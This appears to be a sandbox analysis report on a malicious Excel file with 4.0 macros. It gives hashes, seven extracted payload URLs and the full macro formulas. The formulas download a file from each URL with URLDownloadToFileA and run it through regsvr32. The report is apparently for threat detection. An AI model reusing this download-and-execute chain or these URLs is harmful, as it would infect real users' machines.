General
-
Target
c6ce55de413a333cb1e4bc0b0b2706f38a6bd249a9af5b8dd8c5eafd295801d0
-
Size
38KB
-
MD5
ddbe2bff711d828e4c3c21f622274052
-
SHA1
6ab9a632788061bf88e10d4f26476742882b2428
-
SHA256
c6ce55de413a333cb1e4bc0b0b2706f38a6bd249a9af5b8dd8c5eafd295801d0
-
SHA512
c4f75d72c81bb047add2a0d185a3a79183b052e79f3eec81c9770ad139a28d1f5c0d0e6c4279d88f373be5643f952fae68747bbb4598d42454173ed91a0a07f9
-
SSDEEP
768:ibdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:iwDOZZ1ZYpoQ/pMAeVIyYzaT
Malware Config
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
c6ce55de413a333cb1e4bc0b0b2706f38a6bd249a9af5b8dd8c5eafd295801d0